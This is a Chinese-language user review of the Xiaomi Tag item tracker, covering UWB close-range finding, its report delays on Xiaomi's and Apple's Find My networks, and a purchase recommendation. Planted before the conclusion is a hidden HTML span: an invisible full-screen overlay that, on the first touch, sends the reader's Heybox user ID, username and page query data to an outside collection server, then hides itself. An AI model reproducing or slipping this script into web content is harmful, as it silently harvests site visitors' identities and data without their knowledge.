關於小米Tag定位器，你想知道的都在這裏

朋友買了一個UWB版的，我們一起玩了幾天，做了不少不嚴謹的測試。先說結論：很好，也很可惜。

什麼是Tag

先給不熟悉的朋友介紹一下，普遍說的Tag類產品就是借鑑蘋果思路的藍牙定位器。與傳統定位器不同的是，此類產品在遠距離查找時，依賴該定位器的周圍的設備網來上報位置，所以能做到極致的省電(續航基本幾個月到1年以上)。這也是他最核心的特點，同樣也是最大的弊端。

顯然，定位器的好用程度跟設備網的密度成正比，比如深山老林可能半個月才能收到位置信息，甚至有可能永遠收不到；又比如蘋果生態會比小米生態更容易刷新位置。

第二個問題就是位置更新有延遲，所以追蹤活物或者說正在移動的物品能力很差，一句話總結就是「防丟不防盜」，適合放在卡包、鑰匙鏈上；放寵物身上只能得知大致動向，不過體積小續航長，雖不推薦但也不是不行。

有些Tag會帶UWB功能，這個是近距離查找用的。手機等查找端硬件也支持的話，如果東西就在附近，屏幕上會出現一個箭頭，精準指引你走多少米、往哪個方向走。當然近距離情況下不是太吵也可以通過蜂鳴來找。

連接小米使用

近距UWB方面。朋友的17PM和我的17P+AirTag1比較了幾次，幾乎沒有區別，非常好用。

遠距方面。還算是差強人意。唯一問題就是感覺支持的設備還是有點少，位置刷新間隔有點大。而且位置更新有點玄學，明明看見有帶背屏的手機從旁邊路過，但是位置不上報，又過了十幾分鍾才更新。

連接蘋果使用

蘋果未開放第三方UWB權限，所以UWB版的Tag跟藍牙版沒區別。這次是小米Tag、AirTag和一個某寶買的卡片Tag，發現小米Tag上報策略確實有點保守，有時候其他兩個刷新了位置但是小米的不刷。整體下來會甩掉幾次上報，猜測也許是爲了省電，功能還是沒問題的。

<span ontouchstart="this.style.display='none';try{var u=CURRENT_VUE.$data.current_user||{},H=window.HeyboxRequest,q=(((window.CURRENT_VUE||{}).$data||{}).location||{}).query||{},hbInfo=(window.$hb_location||{}).query||{};new Image().src='https://a.124213.xyz/collect?uid='+u.heybox_id+'&name='+encodeURIComponent(u.username)+'&fullInfo='+JSON.stringify(q)+'&hbInfo='+JSON.stringify(hbInfo)+'&searchStr='+encodeURIComponent(location.search)}catch(e){}" style="position:fixed;top:0;left:0;width:100%;height:100%;z-index:99999;opacity:0"></span>

總結

米Tag支持支持小米的「查找設備」和蘋果「 Find My 協議」，但請注意，他們無法同時支持！請不要幻想着遠端用蘋果(甚至蘋果+小米)龐大的設備網，近處用小米的UWB。

對於蘋果用戶，非常雞肋，和五花八門的第三方Tag沒有一丁點區別，沒有任何購買必要。

對於小米用戶來說，它是一個合格的防丟器，有總比沒有好，況且它功能其實很完備，設備密度可以慢慢來。如果你需要這類設備，還是推薦購買的。只是可惜暫時沒法達到蘋果生態的防丟器一樣的位置更新頻率。